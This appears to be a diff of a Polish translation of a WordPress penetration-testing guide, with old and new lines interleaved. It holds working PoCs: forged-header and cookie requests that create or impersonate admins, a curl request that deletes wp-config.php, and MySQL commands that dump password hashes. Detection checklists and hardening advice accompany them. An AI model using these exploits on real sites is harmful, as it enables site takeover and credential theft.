- Z zainstalowaną i aktywowaną wtyczką "reflex-gallery" można ją wykorzystać, ponieważ jest znana z podatności.
|
||||
- Metasploit framework dostarcza exploit dla tej podatności. Ładując odpowiedni moduł i wykonując konkretne polecenia, można uzyskać sesję meterpreter, zapewniając nieautoryzowany dostęp do serwisu.
|
||||
- Należy zaznaczyć, że to tylko jedna z wielu metod wykorzystywania witryny WordPress.
|
||||
1. **Plugin Acquisition**: plugin jest pobierany ze źródła takiego jak Exploit DB, na przykład [**here**](https://www.exploit-db.com/exploits/36374).
|
||||
2. **Plugin Installation**:
|
||||
- Przejdź do WordPress dashboard, następnie do `Dashboard > Plugins > Upload Plugin`.
|
||||
- Prześlij plik zip pobranego pluginu.
|
||||
3. **Plugin Activation**: Po pomyślnej instalacji plugin musi zostać aktywowany przez dashboard.
|
||||
4. **Exploitation**:
|
||||
- Po zainstalowaniu i aktywowaniu pluginu "reflex-gallery" można go exploitować, ponieważ jest znany z podatności.
|
||||
- Framework Metasploit dostarcza exploit dla tej podatności. Ładując odpowiedni moduł i wykonując konkretne polecenia można uzyskać sesję meterpreter, co daje nieautoryzowany dostęp do strony.
|
||||
- Należy pamiętać, że jest to tylko jedna z wielu metod wykorzystania podatności w WordPress.
|
||||
|
||||
Treść zawiera materiały wizualne ilustrujące kroki w WordPress dashboard podczas instalacji i aktywacji wtyczki. Należy jednak pamiętać, że wykorzystywanie podatności w ten sposób jest nielegalne i nieetyczne bez odpowiedniej autoryzacji. Informacje te powinny być używane odpowiedzialnie i tylko w legalnym kontekście, takim jak pentesting z wyraźną zgodą.
|
||||
Zawartość zawiera materiały wizualne przedstawiające kroki w dashboardzie WordPress dotyczące instalacji i aktywacji pluginu. Należy jednak pamiętać, że wykorzystywanie podatności w ten sposób jest nielegalne i nieetyczne bez odpowiedniej autoryzacji. Informacje te powinny być używane odpowiedzialnie i tylko w kontekście prawnym, takim jak penetration testing z wyraźną zgodą.
|
||||
|
||||
**Dla bardziej szczegółowych kroków sprawdź:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
|
||||
**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
|
||||
|
||||
## Od XSS do RCE
|
||||
## From XSS to RCE
|
||||
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ to skrypt zaprojektowany do eskalacji podatności **Cross-Site Scripting (XSS)** do **Remote Code Execution (RCE)** lub innych krytycznych podatności w WordPress. Po więcej informacji sprawdź [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Zapewnia **wsparcie dla Wordpress Versions 6.X.X, 5.X.X and 4.X.X. oraz pozwala na:**
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ is a script designed to escalate a **Cross-Site Scripting (XSS)** vulnerability to **Remote Code Execution (RCE)** or other's criticals vulnerabilities in WordPress. For more info check [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). It provides **support for Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:**
|
||||
- _**Privilege Escalation:**_ Tworzy użytkownika w WordPress.
|
||||
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Prześlij swój custom plugin (backdoor) do WordPress.
|
||||
- _**(RCE) Built-In Plugin Edit:**_ Edytuje wbudowane pluginy w WordPress.
|
||||
- _**(RCE) Built-In Theme Edit:**_ Edytuje wbudowane motywy w WordPress.
|
||||
- _**(Custom) Custom Exploits:**_ Niestandardowe exploity dla third-party WordPress Plugins/Themes.
|
||||
- _**(RCE) Built-In Plugin Edit:**_ Edytuj wbudowane pluginy w WordPress.
|
||||
- _**(RCE) Built-In Theme Edit:**_ Edytuj wbudowane motywy w WordPress.
|
||||
- _**(Custom) Custom Exploits:**_ Custom Exploits dla third-party WordPress Plugins/Themes.
|
||||
|
||||
## Po eksploatacji
|
||||
## Post Exploitation
|
||||
|
||||
Wyodrębnij nazwy użytkowników i hasła:
|
||||
```bash
|
||||
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
|
||||
```
|
||||
Zmień hasło admina:
|
||||
Zmień hasło administratora:
|
||||
```bash
|
||||
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
|
||||
```
|
||||
## Pentest wtyczek Wordpress
|
||||
## Wordpress Plugins Pentest
|
||||
|
||||
### Powierzchnia ataku
|
||||
|
||||
Znajomość sposobów, w jakie wtyczka Wordpress może ujawniać funkcjonalność, jest kluczowa do znalezienia podatności w jej funkcjach. Poniżej znajdziesz, jak wtyczka może ujawniać funkcjonalność oraz kilka przykładów podatnych wtyczek w [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/).
|
||||
Znajomość sposobów, w jakie wtyczka Wordpress może ujawniać funkcjonalności, jest kluczowa, aby znaleźć podatności w jej działaniu. Poniżej znajdziesz, w jaki sposób wtyczka może ujawniać funkcjonalności, oraz przykłady podatnych wtyczek w [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/).
|
||||
|
||||
- **`wp_ajax`**
|
||||
|
||||
Jednym ze sposobów, w jaki wtyczka może udostępniać funkcje użytkownikom, są obsługiwacze AJAX. Mogą one zawierać błędy logiczne, autoryzacji lub uwierzytelniania. Co więcej, dość często te funkcje opierają zarówno uwierzytelnianie, jak i autoryzację na istnieniu wordpress nonce, które może posiadać **każdy użytkownik zalogowany w instancji Wordpress** (niezależnie od jego roli).
|
||||
Jednym ze sposobów, w jaki wtyczka może udostępniać funkcje użytkownikom, są obsługiwacze AJAX. Mogą one zawierać błędy w logice, autoryzacji lub uwierzytelnianiu. Co więcej, często bywa tak, że te funkcje opierają zarówno uwierzytelnianie, jak i autoryzację na istnieniu Wordpress nonce, które **każdy uwierzytelniony użytkownik instancji Wordpress może posiadać** (niezależnie od jego roli).
|
||||
|
||||
Te funkcje mogą być użyte do udostępnienia funkcji w wtyczce:
|
||||
Oto funkcje, które mogą być użyte do udostępnienia funkcji w wtyczce:
|
||||
```php
|
||||
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
|
||||
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
|
||||
@ -349,11 +349,11 @@ add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
|
||||
**Użycie `nopriv` sprawia, że endpoint jest dostępny dla wszystkich użytkowników (nawet niezalogowanych).**
|
||||
|
||||
> [!CAUTION]
|
||||
> Co więcej, jeśli funkcja jedynie sprawdza autoryzację użytkownika za pomocą funkcji `wp_verify_nonce`, to funkcja ta tylko weryfikuje, że użytkownik jest zalogowany — zwykle nie sprawdza roli użytkownika. W efekcie użytkownicy o niskich uprawnieniach mogą mieć dostęp do operacji wymagających wyższych uprawnień.
|
||||
> Ponadto, jeśli funkcja sprawdza autoryzację użytkownika tylko za pomocą funkcji `wp_verify_nonce`, ta funkcja jedynie sprawdza, czy użytkownik jest zalogowany; zazwyczaj nie sprawdza roli użytkownika. W rezultacie użytkownicy o niskich uprawnieniach mogą mieć dostęp do akcji wymagających wyższych uprawnień.
|
||||
|
||||
- **REST API**
|
||||
|
||||
Możliwe jest też udostępnienie funkcji z wordpress poprzez zarejestrowanie REST API za pomocą funkcji `register_rest_route`:
|
||||
Możliwe jest też wystawienie funkcji z wordpressa poprzez zarejestrowanie REST API przy użyciu funkcji `register_rest_route`:
|
||||
```php
|
||||
register_rest_route(
|
||||
$this->namespace, '/get/', array(
|
||||
@ -363,21 +363,21 @@ $this->namespace, '/get/', array(
|
||||
)
|
||||
);
|
||||
```
|
||||
The `permission_callback` to callback do funkcji, która sprawdza, czy dany użytkownik jest uprawniony do wywołania metody API.
|
||||
The `permission_callback` jest funkcją wywoływaną (callbackiem), która sprawdza, czy dany użytkownik jest uprawniony do wywołania metody API.
|
||||
|
||||
**Jeśli użyta jest wbudowana funkcja `__return_true`, po prostu pominie sprawdzenie uprawnień użytkownika.**
|
||||
**Jeśli użyta jest wbudowana funkcja `__return_true`, po prostu pominie ona sprawdzenie uprawnień użytkownika.**
|
||||
|
||||
- **Bezpośredni dostęp do pliku php**
|
||||
- **Bezpośredni dostęp do pliku PHP**
|
||||
|
||||
Oczywiście Wordpress używa PHP, a pliki wewnątrz pluginów są bezpośrednio dostępne z sieci. Jeśli więc plugin ujawnia podatną funkcjonalność, która uruchamia się po samym dostępie do pliku, będzie ona eksploatowalna przez dowolnego użytkownika.
|
||||
Oczywiście Wordpress używa PHP, a pliki wewnątrz wtyczek są bezpośrednio dostępne z sieci. Jeśli wtyczka ujawnia jakąś podatną funkcjonalność, która jest wywoływana jedynie przez dostęp do pliku, będzie ona wykorzystywalna przez dowolnego użytkownika.
|
||||
|
||||
### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
|
||||
|
||||
Niektóre pluginy implementują “trusted header” skróty dla integracji wewnętrznych lub reverse proxy i następnie używają tego nagłówka do ustawienia kontekstu bieżącego użytkownika dla żądań REST. Jeśli nagłówek nie jest kryptograficznie powiązany z żądaniem przez komponent nadrzędny, atakujący może go sfałszować i wywołać uprzywilejowane trasy REST jako administrator.
|
||||
Niektóre wtyczki implementują „trusted header” skróty dla integracji wewnętrznych lub reverse proxies i następnie używają tego headera do ustawiania kontekstu bieżącego użytkownika dla żądań REST. Jeśli header nie jest kryptograficznie powiązany z żądaniem przez komponent upstream, atakujący może go sfałszować i wywołać uprzywilejowane trasy REST jako administrator.
|
||||
|
||||
- Skutek: nieautoryzowana eskalacja uprawnień do administratora przez utworzenie nowego administratora za pomocą core users REST route.
|
||||
- Przykładowy nagłówek: `X-Wcpay-Platform-Checkout-User: 1` (wymusza ID użytkownika 1, zwykle pierwsze konto administratora).
|
||||
- Eksploatowana trasa: `POST /wp-json/wp/v2/users` z tablicą roli nadającą wyższe uprawnienia.
|
||||
- Wpływ: eskalacja uprawnień bez uwierzytelnienia do roli administratora poprzez utworzenie nowego administratora za pomocą core users REST route.
|
||||
- Example header: `X-Wcpay-Platform-Checkout-User: 1` (wymusza ID użytkownika 1, zazwyczaj pierwsze konto administratora).
|
||||
- Wyeksploatowana trasa: `POST /wp-json/wp/v2/users` z podwyższoną tablicą ról.
|
||||
|
||||
PoC
|
||||
```http
|
||||
@ -393,26 +393,26 @@ Content-Length: 114
|
||||
```
|
||||
Dlaczego to działa
|
||||
|
||||
- Wtyczka mapuje nagłówek kontrolowany przez klienta na stan uwierzytelnienia i pomija sprawdzenia uprawnień (capability checks).
|
||||
- WordPress core oczekuje uprawnienia `create_users` dla tej ścieżki; hack wtyczki omija to, ustawiając bezpośrednio kontekst bieżącego użytkownika z nagłówka.
|
||||
- The plugin maps a client-controlled header to authentication state and skips capability checks.
|
||||
- WordPress core expects `create_users` capability for this route; the plugin hack bypasses it by directly setting the current user context from the header.
|
||||
|
||||
Oczekiwane wskaźniki sukcesu
|
||||
|
||||
- HTTP 201 z ciałem JSON opisującym utworzonego użytkownika.
|
||||
- Nowy użytkownik z uprawnieniami admin widoczny w `wp-admin/users.php`.
|
||||
- Nowy użytkownik z uprawnieniami administratora widoczny w `wp-admin/users.php`.
|
||||
|
||||
Lista kontrolna wykrywania
|
||||
|
||||
- Przeszukaj (grep) pod kątem `getallheaders()`, `$_SERVER['HTTP_...']` lub SDK dostawców, które odczytują niestandardowe nagłówki, aby ustawić kontekst użytkownika (np. `wp_set_current_user()`, `wp_set_auth_cookie()`).
|
||||
- Przejrzyj rejestracje REST pod kątem uprzywilejowanych callbacków, którym brakuje solidnych sprawdzeń `permission_callback` i które zamiast tego polegają na nagłówkach żądań.
|
||||
- Szukaj użyć podstawowych funkcji zarządzania użytkownikami (`wp_insert_user`, `wp_create_user`) wewnątrz handlerów REST, które są zabezpieczone jedynie przez wartości nagłówków.
|
||||
- Grep for `getallheaders()`, `$_SERVER['HTTP_...']`, or vendor SDKs that read custom headers to set user context (e.g., `wp_set_current_user()`, `wp_set_auth_cookie()`).
|
||||
- Przejrzyj rejestracje REST pod kątem uprzywilejowanych callbacków, które nie mają solidnych sprawdzeń `permission_callback` i zamiast tego polegają na nagłówkach żądania.
|
||||
- Szukaj użyć funkcji rdzenia do zarządzania użytkownikami (`wp_insert_user`, `wp_create_user`) wewnątrz REST handlers, które są ograniczone wyłącznie przez wartości nagłówków.
|
||||
|
||||
Wzmocnienie
|
||||
|
||||
- Nigdy nie wyprowadzaj uwierzytelnienia ani autoryzacji z nagłówków kontrolowanych przez klienta.
|
||||
- Jeśli reverse proxy musi wstrzykiwać tożsamość, zakończ zaufanie przy proxy i usuń przychodzące kopie (np. `unset X-Wcpay-Platform-Checkout-User` na krawędzi), następnie przekaż podpisany token i zweryfikuj go po stronie serwera.
|
||||
- Dla tras REST wykonujących uprzywilejowane akcje wymagaj sprawdzeń `current_user_can()` i rygorystycznego `permission_callback` (NIE używaj `__return_true`).
|
||||
- Preferuj uwierzytelnianie pierwszej strony (cookies, application passwords, OAuth) zamiast „impersonation” przez nagłówki.
|
||||
- Jeśli reverse proxy musi wstrzyknąć identity, zakończ zaufanie na proxy i usuń przychodzące kopie (np. `unset X-Wcpay-Platform-Checkout-User` na krawędzi), następnie przekaż podpisany token i zweryfikuj go po stronie serwera.
|
||||
- Dla tras REST wykonujących uprzywilejowane akcje wymagaj sprawdzeń `current_user_can()` oraz rygorystycznego `permission_callback` (NIE używaj `__return_true`).
|
||||
- Preferuj first-party auth (cookies, application passwords, OAuth) zamiast header “impersonation”.
|
||||
|
||||
References: see the links at the end of this page for a public case and broader analysis.
|
||||
|
||||
@ -445,29 +445,29 @@ add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove
|
||||
```
|
||||
Problemy wprowadzone przez ten fragment:
|
||||
|
||||
* **Dostęp bez uwierzytelnienia** – zarejestrowano hook `wp_ajax_nopriv_`.
|
||||
* **Brak sprawdzania nonce / uprawnień** – każdy odwiedzający może trafić do tego endpointu.
|
||||
* **Brak sanitizacji ścieżki** – ciąg sterowany przez użytkownika `fontfamily` jest konkatenowany do ścieżki w systemie plików bez filtrowania, pozwalając na klasyczny `../../` traversal.
|
||||
* **Unauthenticated access** – zarejestrowano hook `wp_ajax_nopriv_`.
|
||||
* **No nonce / capability check** – każdy odwiedzający może wywołać endpoint.
|
||||
* **No path sanitisation** – kontrolowany przez użytkownika ciąg `fontfamily` jest konkatenowany do ścieżki systemu plików bez filtrowania, co umożliwia klasyczny `../../` traversal.
|
||||
|
||||
#### Eksploatacja
|
||||
#### Exploitation
|
||||
|
||||
Atakujący może usunąć dowolny plik lub katalog **poniżej katalogu bazowego uploads** (zazwyczaj `<wp-root>/wp-content/uploads/`) wysyłając pojedyncze żądanie HTTP POST:
|
||||
Atakujący może usunąć dowolny plik lub katalog **poniżej bazowego katalogu uploads** (zwykle `<wp-root>/wp-content/uploads/`) wysyłając jedno żądanie HTTP POST:
|
||||
```bash
|
||||
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
|
||||
-d 'action=litho_remove_font_family_action_data' \
|
||||
-d 'fontfamily=../../../../wp-config.php'
|
||||
```
|
||||
Ponieważ `wp-config.php` znajduje się poza katalogiem *uploads*, w domyślnej instalacji wystarczą cztery sekwencje `../`. Usunięcie `wp-config.php` wymusza na WordPress uruchomienie *installation wizard* przy następnym odwiedzeniu strony, co umożliwia pełne przejęcie serwisu (atakujący jedynie dostarcza nową konfigurację DB i tworzy użytkownika admin).
|
||||
Ponieważ `wp-config.php` znajduje się poza *uploads*, cztery sekwencje `../` wystarczą w domyślnej instalacji. Usunięcie `wp-config.php` wymusza na WordPress przejście do *kreatora instalacji* przy kolejnej wizycie, umożliwiając pełne przejęcie strony (atakujący jedynie podaje nową konfigurację DB i tworzy użytkownika admina).
|
||||
|
||||
Inne istotne cele to pliki `.php` w pluginach/motywach (aby złamać wtyczki zabezpieczające) lub reguły `.htaccess`.
|
||||
Inne istotne cele to pliki plugin/theme `.php` (np. w celu wyłączenia security plugins) lub reguły `.htaccess`.
|
||||
|
||||
#### Lista kontrolna detekcji
|
||||
#### Lista kontrolna wykrywania
|
||||
|
||||
* Każdy callback `add_action( 'wp_ajax_nopriv_...')`, który wywołuje helpery systemu plików (`copy()`, `unlink()`, `$wp_filesystem->delete()`, itd.).
|
||||
* Łączenie niesanitizowanych danych wejściowych od użytkownika w ścieżki (szukaj `$_POST`, `$_GET`, `$_REQUEST`).
|
||||
* Każde wywołanie zwrotne `add_action( 'wp_ajax_nopriv_...')`, które wywołuje funkcje pomocnicze systemu plików (`copy()`, `unlink()`, `$wp_filesystem->delete()`, itp.).
|
||||
* Konkatenacja niesanitizowanych danych wejściowych użytkownika w ścieżki (szukaj `$_POST`, `$_GET`, `$_REQUEST`).
|
||||
* Brak `check_ajax_referer()` oraz `current_user_can()`/`is_user_logged_in()`.
|
||||
|
||||
#### Utwardzanie
|
||||
#### Zabezpieczenia
|
||||
```php
|
||||
function secure_remove_font_family() {
|
||||
if ( ! is_user_logged_in() ) {
|
||||
@ -487,16 +487,16 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_
|
||||
// 🔒 NO wp_ajax_nopriv_ registration
|
||||
```
|
||||
> [!TIP]
|
||||
> **Zawsze** traktuj każdą operację zapisu/usunięcia na dysku jako uprzywilejowaną i sprawdź dwukrotnie:
|
||||
> **Zawsze** traktuj każdą operację zapisu/usunięcia na dysku jako uprzywilejowaną i dokładnie sprawdź:
|
||||
> • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via `realpath()` plus `str_starts_with()`).
|
||||
|
||||
---
|
||||
|
||||
### Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")
|
||||
|
||||
Wiele wtyczek implementuje funkcję "view as role" lub tymczasową zmianę roli poprzez zapisanie oryginalnej(-ych) roli(-i) w user meta, aby można je było przywrócić później. Jeśli ścieżka przywracania opiera się wyłącznie na parametrach żądania (np. `$_REQUEST['reset-for']`) i na liście utrzymywanej przez wtyczkę, bez sprawdzenia capabilities i ważnego nonce, staje się to vertical privilege escalation.
|
||||
Wiele wtyczek implementuje funkcję "view as role" lub tymczasowego przełączania ról, zapisując oryginalne role w user meta, aby mogły być przywrócone później. Jeśli ścieżka przywracania polega wyłącznie na parametrach żądania (np. `$_REQUEST['reset-for']`) i utrzymywanej przez wtyczkę liście, bez sprawdzenia capabilities i ważnego nonce, prowadzi to do vertical privilege escalation.
|
||||
|
||||
Przykład z rzeczywistego świata znaleziono we wtyczce Admin and Site Enhancements (ASE) (≤ 7.6.2.1). W gałęzi resetu przywracano role na podstawie `reset-for=<username>` jeśli nazwa użytkownika pojawiała się w wewnętrznej tablicy `$options['viewing_admin_as_role_are']`, ale nie wykonano sprawdzenia `current_user_can()` ani weryfikacji nonce przed usunięciem obecnych ról i ponownym dodaniem zapisanych ról z user meta `_asenha_view_admin_as_original_roles`:
|
||||
Przykład z prawdziwego świata znaleziono we wtyczce Admin and Site Enhancements (ASE) (≤ 7.6.2.1). Gałąź resetu przywracała role na podstawie `reset-for=<username>` jeśli nazwa użytkownika pojawiała się w wewnętrznej tablicy `$options['viewing_admin_as_role_are']`, ale nie wykonywała ani sprawdzenia `current_user_can()`, ani weryfikacji nonce przed usunięciem bieżących ról i ponownym dodaniem zapisanych ról z user meta `_asenha_view_admin_as_original_roles`:
|
||||
```php
|
||||
// Simplified vulnerable pattern
|
||||
if ( isset( $_REQUEST['reset-for'] ) ) {
|
||||
@ -513,15 +513,15 @@ foreach ( $orig as $r ) { $u->add_role( $r ); }
|
||||
```
|
||||
Dlaczego to jest podatne
|
||||
|
||||
- Ufa `$_REQUEST['reset-for']` i opcji wtyczki bez autoryzacji po stronie serwera.
|
||||
- Jeśli użytkownik wcześniej miał wyższe uprawnienia zapisane w `_asenha_view_admin_as_original_roles` i został zdegradowany, może je przywrócić, wywołując ścieżkę resetu.
|
||||
- W niektórych wdrożeniach dowolny uwierzytelniony użytkownik mógł wywołać reset dla innej nazwy użytkownika nadal obecnej w `viewing_admin_as_role_are` (złamana autoryzacja).
|
||||
- Ufa `$_REQUEST['reset-for']` i opcji pluginu bez autoryzacji po stronie serwera.
|
||||
- Jeśli użytkownik wcześniej miał wyższe uprawnienia zapisane w `_asenha_view_admin_as_original_roles` i został zdegradowany, może je przywrócić przez odwiedzenie reset path.
|
||||
- W niektórych wdrożeniach dowolny uwierzytelniony użytkownik mógł wywołać reset dla innej nazwy użytkownika wciąż obecnej w `viewing_admin_as_role_are` (błędna autoryzacja).
|
||||
|
||||
Wymagania wstępne ataku
|
||||
|
||||
- Wrażliwa wersja wtyczki z włączoną funkcją.
|
||||
- Konto docelowe ma przeterminowaną rolę o wysokich uprawnieniach zapisaną w user meta z wcześniejszego użycia.
|
||||
- Dowolna uwierzytelniona sesja; brak nonce/capability w ścieżce resetu.
|
||||
- Wrażliwa wersja pluginu z włączoną funkcją.
|
||||
- Konto celu ma przestarzałą rolę o wysokich uprawnieniach zapisaną w user meta z wcześniejszego użycia.
|
||||
- Dowolna uwierzytelniona sesja; brak nonce/capability w przepływie resetu.
|
||||
|
||||
Eksploatacja (przykład)
|
||||
```bash
|
||||
@ -531,36 +531,36 @@ Eksploatacja (przykład)
|
||||
curl -s -k -b 'wordpress_logged_in=...' \
|
||||
'https://victim.example/wp-admin/?reset-for=<your_username>'
|
||||
```
|
||||
W podatnych wersjach usuwa to aktualne role i ponownie dodaje zapisane oryginalne role (np. `administrator`), skutecznie eskalując uprawnienia.
|
||||
W podatnych buildach to usuwa obecne role i ponownie dodaje zapisane oryginalne role (np. `administrator`), skutecznie eskalując uprawnienia.
|
||||
|
||||
Detection checklist
|
||||
|
||||
- Szukaj funkcji przełączania ról, które zachowują „oryginalne role” w meta użytkownika (np. `_asenha_view_admin_as_original_roles`).
|
||||
- Szukaj funkcji przełączania ról, które przechowują „original roles” w user meta (np. `_asenha_view_admin_as_original_roles`).
|
||||
- Zidentyfikuj ścieżki resetowania/przywracania, które:
|
||||
- Odczytują nazwy użytkowników z `$_REQUEST` / `$_GET` / `$_POST`.
|
||||
- Modyfikują role za pomocą `add_role()` / `remove_role()` bez użycia `current_user_can()` i `wp_verify_nonce()` / `check_admin_referer()`.
|
||||
- Modyfikują role za pomocą `add_role()` / `remove_role()` bez `current_user_can()` i `wp_verify_nonce()` / `check_admin_referer()`.
|
||||
- Autoryzują na podstawie tablicy opcji wtyczki (np. `viewing_admin_as_role_are`) zamiast na podstawie uprawnień wykonawcy.
|
||||
|
||||
Hardening
|
||||
|
||||
- Wymagaj sprawdzeń uprawnień w każdym fragmencie kodu zmieniającym stan (np. `current_user_can('manage_options')` lub surowsze).
|
||||
- Wymagaj nonce'ów dla wszystkich zmian ról/uprawnień i weryfikuj je: `check_admin_referer()` / `wp_verify_nonce()`.
|
||||
- Nigdy nie ufaj nazwom użytkowników dostarczonym w żądaniu; rozstrzygaj docelowego użytkownika po stronie serwera na podstawie uwierzytelnionego wykonawcy i jawnej polityki.
|
||||
- Unieważniaj stan „oryginalnych ról” przy aktualizacjach profilu/rol, aby uniknąć przywrócenia przestarzałych wysokich uprawnień:
|
||||
- Wymuszaj sprawdzenia uprawnień w każdej gałęzi zmieniającej stan (np. `current_user_can('manage_options')` lub bardziej restrykcyjne).
|
||||
- Wymagaj nonce'ów dla wszystkich mutacji ról/uprawnień i weryfikuj je: `check_admin_referer()` / `wp_verify_nonce()`.
|
||||
- Nigdy nie ufaj nazwom użytkowników przesyłanym w żądaniu; określ docelowego użytkownika po stronie serwera na podstawie uwierzytelnionego wykonawcy i wyraźnej polityki.
|
||||
- Unieważniaj stan „original roles” przy aktualizacjach profilu/roli, aby uniknąć przywrócenia przestarzałych wysokich uprawnień:
|
||||
```php
|
||||
add_action( 'profile_update', function( $user_id ) {
|
||||
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
|
||||
}, 10, 1 );
|
||||
```
|
||||
- Rozważ przechowywanie minimalnego stanu i użycie tokenów ograniczonych czasowo, zabezpieczonych capability, do tymczasowych zmian ról.
|
||||
- Rozważ przechowywanie minimalnego stanu i używanie tokenów o ograniczonym czasie ważności, capability-guarded, do tymczasowych zmian ról.
|
||||
|
||||
---
|
||||
|
||||
### Eskalacja uprawnień bez uwierzytelnienia przez przełączanie użytkownika zaufane przez cookie na publicznym init (Service Finder “sf-booking”)
|
||||
### Nieautoryzowana privilege escalation via cookie‑trusted user switching na publicznym `init` (Service Finder “sf-booking”)
|
||||
|
||||
Niektóre wtyczki podłączają funkcje pomocnicze do przełączania użytkowników do publicznego haka `init` i wyznaczają tożsamość na podstawie cookie kontrolowanego przez klienta. Jeśli kod wywołuje `wp_set_auth_cookie()` bez weryfikacji uwierzytelnienia, capability i ważnego nonce, każdy niezalogowany odwiedzający może wymusić zalogowanie jako dowolny użytkownik o określonym ID.
|
||||
Niektóre wtyczki podłączają helpery do przełączania użytkownika do publicznego hooka `init` i wyprowadzają tożsamość z kontrolowanego przez klienta cookie. Jeśli kod wywołuje `wp_set_auth_cookie()` bez weryfikacji uwierzytelnienia, capability i ważnego nonce, dowolny nieautoryzowany odwiedzający może wymusić zalogowanie jako dowolny identyfikator użytkownika.
|
||||
|
||||
Typowy podatny wzorzec (uproszczony z Service Finder Bookings ≤ 6.1):
|
||||
Typowy podatny wzorzec (upraszczając z Service Finder Bookings ≤ 6.1):
|
||||
```php
|
||||
function service_finder_submit_user_form(){
|
||||
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
|
||||
@ -589,11 +589,11 @@ wp_die('Original user not found.');
|
||||
wp_die('No original user found to switch back to.');
|
||||
}
|
||||
```
|
||||
Dlaczego jest to eksploatowalne
|
||||
Dlaczego jest to podatne
|
||||
|
||||
- Publiczny hook `init` powoduje, że handler jest dostępny dla niezalogowanych użytkowników (brak zabezpieczenia `is_user_logged_in()`).
|
||||
- Tożsamość jest wyprowadzana z cookie modyfikowalnego po stronie klienta (`original_user_id`).
|
||||
- Bezpośrednie wywołanie `wp_set_auth_cookie($uid)` loguje żądającego jako tego użytkownika bez żadnych sprawdzeń capability/nonce.
|
||||
- Publiczny hook `init` sprawia, że handler jest osiągalny dla niezalogowanych użytkowników (brak zabezpieczenia `is_user_logged_in()`).
|
||||
- Tożsamość pochodzi z cookie modyfikowalnego przez klienta (`original_user_id`).
|
||||
- Bezpośrednie wywołanie `wp_set_auth_cookie($uid)` loguje żądającego jako tego użytkownika bez żadnych sprawdzeń uprawnień/nonce.
|
||||
|
||||
Eksploatacja (bez uwierzytelnienia)
|
||||
```http
|
||||
@ -605,32 +605,32 @@ Connection: close
|
||||
```
|
||||
---
|
||||
|
||||
### Uwagi dotyczące WAF dla CVE WordPress/pluginów
|
||||
### Rozważania dotyczące WAF dla WordPress/plugin CVEs
|
||||
|
||||
Ogólne WAFy brzegowe/serwerowe są dostrojone pod kątem szerokich wzorców (SQLi, XSS, LFI). Wiele błędów o dużym wpływie w WordPressie/wtyczkach to błędy logiki/autoryzacji specyficzne dla aplikacji, które wyglądają jak nieszkodliwy ruch, chyba że silnik rozumie trasy WordPressa i semantykę wtyczek.
|
||||
Ogólne WAFy brzegowe/serwerowe są dostrojone pod szerokie wzorce (SQLi, XSS, LFI). Wiele wysoko wpływowych luk w WordPress/plugin to błędy logiki/autoryzacji specyficzne dla aplikacji, które wyglądają jak nieszkodliwy ruch, chyba że silnik rozumie trasy WordPress i semantykę pluginów.
|
||||
|
||||
Uwagi ofensywne
|
||||
Notatki ofensywne
|
||||
|
||||
- Celuj w punkty końcowe specyficzne dla wtyczek za pomocą czystych payloadów: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, niestandardowe handlery plików, shortcodes.
|
||||
- Najpierw testuj ścieżki bez autoryzacji (AJAX `nopriv`, REST z pobłażliwym `permission_callback`, publiczne shortcodes). Domyślne payloady często działają bez obfuskacji.
|
||||
- Typowe przypadki o dużym wpływie: eskalacja uprawnień (naruszona kontrola dostępu), dowolne przesyłanie/pobieranie plików, LFI, open redirect.
|
||||
- Celuj w endpointy specyficzne dla pluginów za pomocą czystych payloads: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
|
||||
- Najpierw testuj ścieżki bez uwierzytelnienia (AJAX `nopriv`, REST z permissive `permission_callback`, public shortcodes). Domyślne payloads często działają bez obfuskacji.
|
||||
- Typowe przypadki o dużym wpływie: eskalacja uprawnień (broken access control), arbitrary file upload/download, LFI, open redirect.
|
||||
|
||||
Uwagi defensywne
|
||||
Notatki defensywne
|
||||
|
||||
- Nie polegaj na ogólnych sygnaturach WAF, aby chronić CVE wtyczek. Wdróż virtual patches na warstwie aplikacji specyficzne dla danej podatności lub zaktualizuj szybko.
|
||||
- Preferuj pozytywne mechanizmy bezpieczeństwa w kodzie (capabilities, nonces, rygorystyczna walidacja wejścia) zamiast negatywnych filtrów regex.
|
||||
- Nie polegaj na ogólnych sygnaturach WAF w celu ochrony plugin CVEs. Wdróż wirtualne poprawki na warstwie aplikacji, specyficzne dla danej podatności, lub aktualizuj szybko.
|
||||
- Preferuj pozytywne kontrole bezpieczeństwa w kodzie (capabilities, nonces, strict input validation) zamiast negatywnych filtrów regex.
|
||||
|
||||
## Ochrona WordPress
|
||||
|
||||
### Regularne aktualizacje
|
||||
|
||||
Upewnij się, że WordPress, wtyczki i motywy są aktualne. Potwierdź także, że automatyczne aktualizacje są włączone w wp-config.php:
|
||||
Upewnij się, że WordPress, plugins i themes są aktualne. Potwierdź też, że automatyczne aktualizacje są włączone w wp-config.php:
|
||||
